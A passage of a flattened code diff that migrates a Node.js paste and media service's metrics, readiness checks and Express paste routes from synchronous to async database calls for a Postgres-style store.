!!_timer,-- no_good_copy: copyReport.countNoGoodCopy(db),-- verified_objects: db.get('SELECT COUNT(*) AS n FROM media_verifications').n,++ no_good_copy: await copyReport.countNoGoodCopy(db),++ verified_objects: (await db.get('SELECT COUNT(*) AS n FROM media_verifications')).n,last_run: last ? { id: last.id, finished_at: last.finished_at, objects_checked: last.objects_checked, no_good_copy: last.no_good_copy,reuploaded: last.reuploaded, reupload_failed: last.reupload_failed, error: last.error || null } : null,};@@@ -60,33 +60,39 @@ function domainMetrics(registry, { db, recorder, events }) {// outcome dry_run is what the object sweep would have done while its activation gate is off.registry.gauge({name: 'media_tier_decisions_24h', help: 'R2 promotions and demotions decided in the last 24 hours, by target (vod, object), action and outcome', labelNames: ['target', 'action', 'outcome'],-- collect: () => [['vod', 'media_tier_decisions'], ['object', 'media_object_tier_decisions']].flatMap(([target, table]) => db.all(`SELECT action, outcome, COUNT(*) AS n-- FROM ${table} WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') GROUP BY action, outcome`)-- .map((r) => ({ labels: { target, action: r.action, outcome: r.outcome }, value: r.n }))),++ collect: async () => {++ const out = [];++ for (const [target, table] of [['vod', 'media_tier_decisions'], ['object', 'media_object_tier_decisions']]) {++ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM ${table} WHERE decided_at >= ov_now_iso('-1 day') GROUP BY action, outcome`)) {++ out.push({ labels: { target, action: r.action, outcome: r.outcome }, value: r.n });++ }++ }++ return out;++ },});registry.gauge({name: 'media_object_locations', help: 'Stored copies of media objects by provider and verification state', labelNames: ['provider', 'state'],-- collect: () => db.all('SELECT provider, state, COUNT(*) AS n FROM media_locations GROUP BY provider, state').map((r) => ({ labels: { provider: r.provider, state: r.state }, value: r.n })),++ collect: async () => (await db.all('SELECT provider, state, COUNT(*) AS n FROM media_locations GROUP BY provider, state')).map((r) => ({ labels: { provider: r.provider, state: r.state }, value: r.n })),});registry.gauge({name: 'media_objects', help: 'Media objects by lifecycle status', labelNames: ['lifecycle_status'],-- collect: () => db.all('SELECT lifecycle_status, COUNT(*) AS n FROM media_objects GROUP BY lifecycle_status').map((r) => ({ labels: { lifecycle_status: r.lifecycle_status }, value: r.n })),++ collect: async () => (await db.all('SELECT lifecycle_status, COUNT(*) AS n FROM media_objects GROUP BY lifecycle_status')).map((r) => ({ labels: { lifecycle_status: r.lifecycle_status }, value: r.n })),});registry.gauge({name: 'media_objects_no_good_copy', help: 'Ready media objects with no present or unverified copy anywhere (see scripts/no-good-copy-report.js)',-- collect: () => copyReport.countNoGoodCopy(db),++ collect: async () => await copyReport.countNoGoodCopy(db),});registry.gauge({name: 'media_verify_last_run_timestamp_seconds', help: 'When the scheduled copy verification last finished a run',-- collect: () => {-- const r = db.get('SELECT finished_at FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');++ collect: async () => {++ const r = await db.get('SELECT finished_at FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');const t = r ? Date.parse(r.finished_at) : NaN;return Number.isFinite(t) ? Math.floor(t / 1000) : null; // no run yet: no series},});registry.gauge({name: 'media_jobs', help: 'Media jobs by type and status (proposed = waiting for the owner; see scripts/media-jobs.js)', labelNames: ['type', 'status'],-- collect: () => db.all('SELECT job_type, status, COUNT(*) AS n FROM media_jobs GROUP BY job_type, status').map((r) => ({ labels: { type: r.job_type, status: r.status }, value: r.n })),++ collect: async () => (await db.all('SELECT job_type, status, COUNT(*) AS n FROM media_jobs GROUP BY job_type, status')).map((r) => ({ labels: { type: r.job_type, status: r.status }, value: r.n })),});// Job writes the lease-token fence refused (server/jobs/queue.js): a holder that lost its job tried to// renew, checkpoint or finish it. Anything above zero means two claimants overlapped.@@@ -95,7 +101,7 @@ function domainMetrics(registry, { db, recorder, events }) {require('./jobs/queue').bus.on('stale', (e) => stale.inc({ action: e.action }));registry.gauge({name: 'media_uploads_open', help: 'Multipart upload sessions still open (active or completing)',-- collect: () => db.get("SELECT COUNT(*) AS n FROM media_uploads WHERE status IN ('active', 'completing')").n,++ collect: async () => (await db.get("SELECT COUNT(*) AS n FROM media_uploads WHERE status IN ('active', 'completing')")).n,});registry.gauge({name: 'media_events_outbox', help: 'Events outbox rows waiting to reach OpenVibe.Events, and rows Events rejected', labelNames: ['status'],@@@ -109,7 +115,14 @@ function domainMetrics(registry, { db, recorder, events }) {function createMediaReadiness({ release, db, config, auth, recorder, events, remote, drill = false }) {const checks = [-- { name: 'db', required: true, check: () => { const r = db.get('SELECT COUNT(*) AS n FROM apps'); return { ok: Number.isInteger(r.n), detail: { apps: r.n } }; } },++ // A real round trip that names the store (postgresql / pglite), and the tenants it holds.++ { name: 'db', required: true, check: async () => {++ const r = await db.getDb().ready();++ if (!r.ok) return r.error;++ const n = Number((await db.get('SELECT COUNT(*) AS n FROM apps')).n);++ return { ok: Number.isInteger(n), detail: { ...r.detail, apps: n } };++ } },++ { name: 'valkey', required: false, check: async () => { const v = require('./actor-limits').valkey(); return v ? v.ready() : { skipped: 'VALKEY_URL not set (or a drill): per-actor limits count in this process only' }; } },];// A restore drill (MEDIA_DRILL) writes no file and asks no remote tier anything: neither is checked.if (!drill) {@@@ -135,9 +148,9 @@ function createMediaReadiness({ release, db, config, auth, recorder, events, rem});checks.push({name: 'object_copies', required: false, cacheMs: 60 * 1000, description: 'every ready object has a good copy (scheduled verification)',-- check: () => {-- const n = copyReport.countNoGoodCopy(db);-- const last = db.get('SELECT id, finished_at, objects_checked, reuploaded FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');++ check: async () => {++ const n = await copyReport.countNoGoodCopy(db);++ const last = await db.get('SELECT id, finished_at, objects_checked, reuploaded FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');const detail = { no_good_copy: n, last_verify_run: last ? last.finished_at : null };if (n) return { ok: false, error: `${n} ready object(s) with no good copy (scripts/no-good-copy-report.js)`, detail };return { ok: true, detail };@@@ -115,14 +115,14 @@ const SLUG_NOUNS = ['trout', 'tulip', 'vale', 'vine', 'viper', 'wave', 'wren', 'wolf',];--function generateSlug(attempts = 0) {++async function generateSlug(attempts = 0) {if (attempts >= 10) throw new Error('Could not generate a unique paste slug after 10 attempts');const adj = SLUG_ADJECTIVES[crypto.randomInt(SLUG_ADJECTIVES.length)];const noun = SLUG_NOUNS[crypto.randomInt(SLUG_NOUNS.length)];const num = crypto.randomInt(10, 100); // 10–99const slug = `${adj}-${noun}-${num}`;-- const existing = db.get('SELECT 1 FROM pastes WHERE slug = ?', [slug]);-- if (existing) return generateSlug(attempts + 1);++ const existing = await db.get('SELECT 1 FROM pastes WHERE slug = ?', [slug]);++ if (existing) return await generateSlug(attempts + 1);return slug;}@@@ -147,12 +147,12 @@ function detectLanguage(content, hint) {return 'text';}--function getPasteConfig() {++async function getPasteConfig() {return {-- maxSizeKb: Number(db.getSetting('paste_max_size_kb')) || 512,-- screenshotMaxSizeMb: Number(db.getSetting('paste_screenshot_max_size_mb')) || 8,-- cooldownSeconds: Number(db.getSetting('paste_cooldown_seconds')) || 30,-- maxPerUserPerDay: Number(db.getSetting('paste_max_per_user_per_day')) || 0,++ maxSizeKb: Number(await db.getSetting('paste_max_size_kb')) || 512,++ screenshotMaxSizeMb: Number(await db.getSetting('paste_screenshot_max_size_mb')) || 8,++ cooldownSeconds: Number(await db.getSetting('paste_cooldown_seconds')) || 30,++ maxPerUserPerDay: Number(await db.getSetting('paste_max_per_user_per_day')) || 0,};}@@@ -201,12 +201,12 @@ function _actor(req) {return { userId: (req.body && req.body.user_id) || null, ip: req.ip, limited: false };}--function _rateLimitCheck(req, res) {++async function _rateLimitCheck(req, res) {const actor = _actor(req);if (!actor.limited) return true;-- const cfg = getPasteConfig();++ const cfg = await getPasteConfig();if (cfg.cooldownSeconds > 0) {-- const lastTime = db.getLastPasteTime(req.appId, actor.userId, actor.ip);++ const lastTime = await db.getLastPasteTime(req.appId, actor.userId, actor.ip);const elapsed = (Date.now() - lastTime) / 1000;if (elapsed < cfg.cooldownSeconds) {const wait = Math.ceil(cfg.cooldownSeconds - elapsed);@@@ -215,7 +215,7 @@ function _rateLimitCheck(req, res) {}}if (cfg.maxPerUserPerDay > 0) {-- const todayCount = db.countUserPastesToday(req.appId, actor.userId, actor.ip);++ const todayCount = await db.countUserPastesToday(req.appId, actor.userId, actor.ip);if (todayCount >= cfg.maxPerUserPerDay) {res.status(429).json({ error: `Daily paste limit reached (${cfg.maxPerUserPerDay}/day)` });return false;@@@ -224,16 +224,16 @@ function _rateLimitCheck(req, res) {return true;}--function _getPasteScoped(req, res) {++async function _getPasteScoped(req, res) {const slug = String(req.params.slug);-- const paste = db.getPasteBySlug(slug, req.appId);++ const paste = await db.getPasteBySlug(slug, req.appId);if (!paste) {// "Paste not found" was being reported for pastes that demonstrably exist, and the// 404 was silent — so there was no way to tell whether the slug was wrong, the// tenant scope was wrong, or the row was genuinely missing. Log all three.let existsElsewhere = null;try {-- const any = db.get('SELECT app_id FROM pastes WHERE slug = ?', [slug]);++ const any = await db.get('SELECT app_id FROM pastes WHERE slug = ?', [slug]);existsElsewhere = any ? any.app_id : null;} catch { /* */ }console.warn(`[Pastes] 404 slug="${slug}" appId="${req.appId}" auth=${req.authType || 'none'}` +@@@ -245,11 +245,11 @@ function _getPasteScoped(req, res) {}// Fully remove a paste's screenshot from local disk AND any legacy B2 object.--function removePasteScreenshot(paste) {++async function removePasteScreenshot(paste) {if (!paste) return;// A held screenshot keeps its bytes (the row delete that follows is refused by the hold trigger).const objects = require('../objects/model');-- if (objects.isHeldRow(paste.object_id !== undefined ? paste : db.get('SELECT object_id FROM pastes WHERE id = ?', [paste.id]))) return;++ if (await objects.isHeldRow(paste.object_id !== undefined ? paste : await db.get('SELECT object_id FROM pastes WHERE id = ?', [paste.id]))) return;if (paste.screenshot_path) {try { fs.unlinkSync(paste.screenshot_path); } catch { /* ignore */ }}@@@ -257,7 +257,7 @@ function removePasteScreenshot(paste) {}// ── List pastes ─────────────────────────────────────────────--router.get('/', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit) || 50, 1), 200);const offset = Math.max(parseInt(req.query.offset) || 0, 0);@@@ -289,13 +289,13 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {if (req.authType === 'app' && (req.query.needs_ai === '1' || req.query.needs_ai === 'true')) {sql = sql.replace(visClause, `AND COALESCE(ai_summary, '') = ''`);}-- if (search) { sql += ` AND (title LIKE ? OR content LIKE ?)`; params.push(search, search); }++ if (search) { sql += ` AND (title ILIKE ? OR content ILIKE ?)`; params.push(search, search); }const dir = req.query.sort === 'oldest' ? 'ASC' : 'DESC';sql += ` ORDER BY pinned DESC, created_at ${dir} LIMIT ? OFFSET ?`;params.push(limit, offset);-- const pastes = db.all(sql, params).map(p => ({++ const pastes = (await db.all(sql, params)).map(p => ({...pastePublic(p),content: p.type === 'paste' ? (p.content || '').slice(0, 300) : null, // Preview only in list}));@@@ -304,8 +304,8 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {const countParams = [req.appId];if (type === 'paste' || type === 'screenshot') { countSql += ` AND type = ?`; countParams.push(type); }if (userId != null) { countSql += ` AND user_id = ?`; countParams.push(userId); }-- if (search) { countSql += ` AND (title LIKE ? OR content LIKE ?)`; countParams.push(search, search); }-- const { total } = db.get(countSql, countParams);++ if (search) { countSql += ` AND (title ILIKE ? OR content ILIKE ?)`; countParams.push(search, search); }++ const { total } = await db.get(countSql, countParams);res.json({ pastes, total, limit, offset });} catch (err) {@@@ -316,16 +316,16 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {// ── Paste config / limits (inherited SPA reads this before posting) ──// Registered before /:slug so the literal path wins.--router.get('/config', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/config', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const cfg = getPasteConfig();++ const cfg = await getPasteConfig();const actor = _actor(req);res.json({maxSizeKb: cfg.maxSizeKb,screenshotMaxSizeMb: cfg.screenshotMaxSizeMb,cooldownSeconds: cfg.cooldownSeconds,maxPerUserPerDay: cfg.maxPerUserPerDay,-- todayCount: db.countUserPastesToday(req.appId, actor.userId, actor.ip),++ todayCount: await db.countUserPastesToday(req.appId, actor.userId, actor.ip),});} catch (err) {console.error('[Pastes] Config error:', err.message);@@@ -338,9 +338,9 @@ router.get('/config', tenantAuth({ allowUser: true }), (req, res) => {// ═════════════════════════════════════════════════════════════// ── Paste stats ─────────────────────────────────────────────--router.get('/admin/stats', tenantAuth(), (req, res) => {++router.get('/admin/stats', tenantAuth(), async (req, res) => {try {-- res.json({ stats: db.getPasteStats(req.appId) });++ res.json({ stats: await db.getPasteStats(req.appId) });} catch (err) {console.error('[Pastes] Stats error:', err.message);res.status(500).json({ error: 'Failed to get paste stats' });@@@ -348,18 +348,18 @@ router.get('/admin/stats', tenantAuth(), (req, res) => {});// ── List forked pastes ──────────────────────────────────────--router.get('/admin/forks', tenantAuth(), (req, res) => {++router.get('/admin/forks', tenantAuth(), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit) || 100, 1), 500);const offset = Math.max(parseInt(req.query.offset) || 0, 0);-- const forks = db.all(`++ const forks = await db.all(`SELECT id, slug, user_id, type, title, forked_from, visibility,views, copies, likes, created_atFROM pastesWHERE app_id = ? AND forked_from IS NOT NULLORDER BY created_at DESC LIMIT ? OFFSET ?`, [req.appId, limit, offset]);-- const total = db.get('SELECT COUNT(*) AS c FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]).c;++ const total = (await db.get('SELECT COUNT(*) AS c FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId])).c;res.json({ forks, total, limit, offset });} catch (err) {console.error('[Pastes] List forks error:', err.message);@@@ -368,11 +368,11 @@ router.get('/admin/forks', tenantAuth(), (req, res) => {});// ── Delete ALL forks (ported predecessor semantics) ─────────--router.delete('/admin/forks', tenantAuth(), (req, res) => {++router.delete('/admin/forks', tenantAuth(), async (req, res) => {try {-- const forks = db.all('SELECT id, screenshot_path FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]);-- for (const f of forks) removePasteScreenshot(f); // unlink screenshots so they don't leak on disk-- db.run('DELETE FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]); // objects: the row-delete trigger++ const forks = await db.all('SELECT id, screenshot_path FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]);++ for (const f of forks) await removePasteScreenshot(f); // unlink screenshots so they don't leak on disk++ await db.run('DELETE FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]); // objects: the row-delete triggerres.json({ success: true, deleted: forks.length });} catch (err) {console.error('[Pastes] Delete forks error:', err.message);@@@ -381,22 +381,22 @@ router.delete('/admin/forks', tenantAuth(), (req, res) => {});// ── Bulk action: delete | public | unlisted | private ───────--router.post('/bulk', tenantAuth(), (req, res) => {++router.post('/bulk', tenantAuth(), async (req, res) => {try {const { slugs, action } = req.body || {};if (!Array.isArray(slugs) || !slugs.length) return res.status(400).json({ error: 'No slugs provided' });if (!['delete', 'public', 'unlisted', 'private'].includes(action)) return res.status(400).json({ error: 'Invalid action' });let done = 0, skipped = 0;for (const slug of slugs.slice(0, 500)) {-- const paste = db.getPasteBySlug(String(slug), req.appId);++ const paste = await db.getPasteBySlug(String(slug), req.appId);if (!paste) { skipped++; continue; }if (action === 'delete') {// A held screenshot is skipped (its row and bytes stay), not failed halfway.-- if (require('../objects/model').isHeldRow(paste)) { skipped++; continue; }-- removePasteScreenshot(paste);-- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger++ if (await require('../objects/model').isHeldRow(paste)) { skipped++; continue; }++ await removePasteScreenshot(paste);++ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger} else {-- db.withObject('paste', paste.id, () => db.run('UPDATE pastes SET visibility = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [action, paste.id]));++ await db.withObject('paste', paste.id, async () => await db.run('UPDATE pastes SET visibility = ?, updated_at = ov_now() WHERE id = ?', [action, paste.id]));}done++;}@@@ -408,17 +408,17 @@ router.post('/bulk', tenantAuth(), (req, res) => {});// ── Censor a screenshot (replace with an uploaded image) ────--router.post('/:slug/censor', tenantAuth(), (req, res) => {++router.post('/:slug/censor', tenantAuth(), async (req, res) => {// Accept slug or numeric paste id (the predecessor keyed this by slug).-- let paste = db.getPasteBySlug(String(req.params.slug), req.appId);++ let paste = await db.getPasteBySlug(String(req.params.slug), req.appId);if (!paste && /^\d+$/.test(String(req.params.slug))) {-- paste = db.get('SELECT * FROM pastes WHERE id = ? AND app_id = ?', [parseInt(req.params.slug, 10), req.appId]);++ paste = await db.get('SELECT * FROM pastes WHERE id = ? AND app_id = ?', [parseInt(req.params.slug, 10), req.appId]);}if (!paste) return res.status(404).json({ error: 'Paste not found' });if (paste.type !== 'screenshot' || !paste.screenshot_path) {return res.status(400).json({ error: 'Not a screenshot paste' });}-- if (require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });++ if (await require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });const censorUpload = multer({storage: screenshotStorage,@@@ -429,16 +429,16 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {},}).single('screenshot');-- censorUpload(req, res, (err) => {++ censorUpload(req, res, async (err) => {if (err) return res.status(400).json({ error: err.message || 'Upload failed' });if (!req.file) return res.status(400).json({ error: 'Censored image is required' });try {// Delete the old screenshot file, then swap in the censored one.try { fs.unlinkSync(paste.screenshot_path); } catch { /* */ }-- db.withObject('paste', paste.id, () => db.run('UPDATE pastes SET screenshot_path = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?',++ await db.withObject('paste', paste.id, async () => await db.run('UPDATE pastes SET screenshot_path = ?, updated_at = ov_now() WHERE id = ?',[req.file.path, paste.id]));-- res.json({ paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });++ res.json({ paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });} catch (err2) {console.error('[Pastes] Censor error:', err2.message);if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }@@@ -448,9 +448,9 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {});// ── Get single paste by slug ────────────────────────────────--router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;// Private pastes: owner (or the app itself) only — decided before anything is counted.if (paste.visibility === 'private') {@@@ -458,14 +458,14 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {if (!allowed) return res.status(404).json({ error: 'Paste not found' });}// The owning app renders the paste page itself — count the view here (real client-- // IP via X-Forwarded-For, viewer via the user JWT / X-OV-User-Id) unless it says++ // IP via X-Forwarded-For, viewer via the "user" JWT / X-OV-User-Id) unless it says// this fetch is not a page view (?no_view=1 for edit forms, embeds, bots).if (String(req.query.no_view || '') !== '1' && !paste.burn_after_read) {-- try { const r = require('../views/service').recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } } catch { /* */ }++ try { const r = await require('../views/service').recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } } catch { /* */ }}-- paste.liked = req.userId != null ? db.hasUserLikedPaste(paste.id, req.userId) : false;++ paste.liked = req.userId != null ? await db.hasUserLikedPaste(paste.id, req.userId) : false;res.json({ paste: { ...pastePublic(paste), liked: paste.liked } });} catch (err) {console.error('[Pastes] Get error:', err.message);@@@ -477,9 +477,9 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('screenshot'), async (req, res) => {try {const body = req.body || {};-- const cfg = getPasteConfig();++ const cfg = await getPasteConfig();-- if (!_rateLimitCheck(req, res)) {++ if (!await _rateLimitCheck(req, res)) {if (req.file) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }return;}@@@ -489,7 +489,7 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('screeconst vis = ['unlisted', 'private'].includes(body.visibility) ? body.visibility : 'public';const burn = body.burn_after_read ? 1 : 0;const nsfw = body.is_nsfw ? 1 : 0;-- const slug = generateSlug();++ const slug = await generateSlug();// ── Screenshot paste ────────────────────────────────if (req.file) {@@@ -525,14 +525,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree});// The row and the screenshot's object in one transaction.-- db.withObject('paste', (r) => r.lastInsertRowid, () => db.run(++ await db.withObject('paste', (r) => r.lastInsertRowid, async () => await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, screenshot_path, metadata, burn_after_read, is_nsfw, ip_address)-- VALUES (?, ?, ?, 'screenshot', ?, ?, 'text', ?, ?, ?, ?, ?, ?, ?)`,++ VALUES (?, ?, ?, 'screenshot', ?, ?, 'text', ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[req.appId, slug, userId, sanitizeTitle(body.title || 'Screenshot'),body.description || body.content || '', vis, body.stream_id || null, req.file.path, metadata, burn, nsfw, actor.ip]));-- const paste = db.getPasteBySlug(slug, req.appId);++ const paste = await db.getPasteBySlug(slug, req.appId);return res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });}@@@ -547,14 +547,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree}const lang = detectLanguage(content, body.language);-- db.run(++ await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, burn_after_read, is_nsfw, ip_address)-- VALUES (?, ?, ?, 'paste', ?, ?, ?, ?, ?, ?, ?, ?)`,++ VALUES (?, ?, ?, 'paste', ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[req.appId, slug, userId, sanitizeTitle(body.title), content.trim(), lang, vis,body.stream_id || null, burn, nsfw, actor.ip]);-- const paste = db.getPasteBySlug(slug, req.appId);++ const paste = await db.getPasteBySlug(slug, req.appId);res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });} catch (err) {console.error('[Pastes] Create error:', err.message);@@@ -571,19 +571,19 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree* OWN pastes table, which no longer receives rows, so every paste created since had no* summary. There was no route to write one either; this is it.*/--router.post('/:slug/ai', tenantAuth(), (req, res) => {++router.post('/:slug/ai', tenantAuth(), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;const { ai_summary, ai_tags } = req.body || {};const summary = ai_summary == null ? null : String(ai_summary).slice(0, 2000);const tags = ai_tags == null ? null: (typeof ai_tags === 'string' ? ai_tags : JSON.stringify(ai_tags)).slice(0, 2000);-- db.run(-- 'UPDATE pastes SET ai_summary = ?, ai_tags = ?, ai_analyzed_at = CURRENT_TIMESTAMP WHERE id = ?',++ await db.run(++ 'UPDATE pastes SET ai_summary = ?, ai_tags = ?, ai_analyzed_at = ov_now() WHERE id = ?',[summary, tags, paste.id]);-- res.json({ ok: true, paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });++ res.json({ ok: true, paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });} catch (err) {console.error('[Pastes] AI update error:', err.message);res.status(500).json({ error: 'Failed to store paste AI' });@@@ -591,9 +591,9 @@ router.post('/:slug/ai', tenantAuth(), (req, res) => {});// ── Update paste ────────────────────────────────────────────--router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {++router.put('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {return res.status(403).json({ error: 'Not authorized for this paste' });@@@ -605,7 +605,7 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {if (title !== undefined) { updates.push('title = ?'); params.push(sanitizeTitle(title)); }if (content !== undefined && paste.type === 'paste') {-- const cfg = getPasteConfig();++ const cfg = await getPasteConfig();if (content.length > cfg.maxSizeKb * 1024) return res.status(400).json({ error: 'Too large' });updates.push('content = ?'); params.push(content);updates.push('language = ?'); params.push(detectLanguage(content, language));@@@ -618,11 +618,11 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {if (updates.length === 0) return res.status(400).json({ error: 'Nothing to update' });-- updates.push('updated_at = CURRENT_TIMESTAMP');++ updates.push('updated_at = ov_now()');params.push(paste.id);// A screenshot's title/visibility are its object's too: row and object in one transaction (text pastes have none).-- db.withObject('paste', paste.id, () => db.run(`UPDATE pastes SET ${updates.join(', ')} WHERE id = ?`, params));-- res.json({ paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });++ await db.withObject('paste', paste.id, async () => await db.run(`UPDATE pastes SET ${updates.join(', ')} WHERE id = ?`, params));++ res.json({ paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });} catch (err) {console.error('[Pastes] Update error:', err.message);res.status(500).json({ error: 'Failed to update paste' });@@@ -630,17 +630,17 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {});// ── Delete paste ────────────────────────────────────────────--router.delete('/:slug', tenantAuth({ allowUser: true }), (req, res) => {++router.delete('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {return res.status(403).json({ error: 'Not authorized for this paste' });}-- if (require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });++ if (await require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });-- removePasteScreenshot(paste);-- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger++ await removePasteScreenshot(paste);++ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete triggerres.json({ success: true });} catch (err) {console.error('[Pastes] Delete error:', err.message);@@@ -649,24 +649,24 @@ router.delete('/:slug', tenantAuth({ allowUser: true }), (req, res) => {});// ── Fork (copy) a paste ─────────────────────────────────────--router.post('/:slug/fork', tenantAuth({ allowUser: true }), (req, res) => {++router.post('/:slug/fork', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const original = _getPasteScoped(req, res);++ const original = await _getPasteScoped(req, res);if (!original) return;if (original.type !== 'paste') return res.status(400).json({ error: 'Only text pastes can be forked' });-- if (!_rateLimitCheck(req, res)) return;++ if (!await _rateLimitCheck(req, res)) return;const actor = _actor(req);const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);-- const slug = generateSlug();-- db.run(++ const slug = await generateSlug();++ await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, forked_from, ip_address)-- VALUES (?, ?, ?, 'paste', ?, ?, ?, 'public', ?, ?)`,++ VALUES (?, ?, ?, 'paste', ?, ?, ?, 'public', ?, ?) RETURNING id`,[req.appId, slug, userId, `Fork of ${original.title}`,original.content, original.language, original.id, actor.ip]);-- const paste = db.getPasteBySlug(slug, req.appId);++ const paste = await db.getPasteBySlug(slug, req.appId);res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });} catch (err) {console.error('[Pastes] Fork error:', err.message);@@@ -675,15 +675,15 @@ router.post('/:slug/fork', tenantAuth({ allowUser: true }), (req, res) => {});// ── Like / Unlike a paste ───────────────────────────────────--router.post('/:slug/like', tenantAuth({ allowUser: true }), (req, res) => {++router.post('/:slug/like', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);if (userId == null) return res.status(400).json({ error: 'user_id required to like' });-- const alreadyLiked = db.hasUserLikedPaste(paste.id, userId);-- const result = alreadyLiked ? db.unlikePaste(paste.id, userId) : db.likePaste(paste.id, userId);++ const alreadyLiked = await db.hasUserLikedPaste(paste.id, userId);++ const result = alreadyLiked ? await db.unlikePaste(paste.id, userId) : await db.likePaste(paste.id, userId);res.json({ liked: !alreadyLiked, likes: result?.likes || 0 });} catch (err) {console.error('[Pastes] Like error:', err.message);@@@ -692,11 +692,11 @@ router.post('/:slug/like', tenantAuth({ allowUser: true }), (req, res) => {});// ── Track a copy event ──────────────────────────────────────--router.post('/:slug/copy', tenantAuth({ allowUser: true }), (req, res) => {++router.post('/:slug/copy', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;-- db.incrementPasteCopies(paste.slug);++ await db.incrementPasteCopies(paste.slug);res.json({ copies: (paste.copies || 0) + 1 });} catch (err) {res.status(500).json({ error: 'Failed to track copy' });@@@ -718,19 +718,19 @@ const _cooldownSweep = require('../drill').enabled ? null : setInterval(() => {}, 600_000);if (_cooldownSweep && _cooldownSweep.unref) _cooldownSweep.unref();--router.get('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => 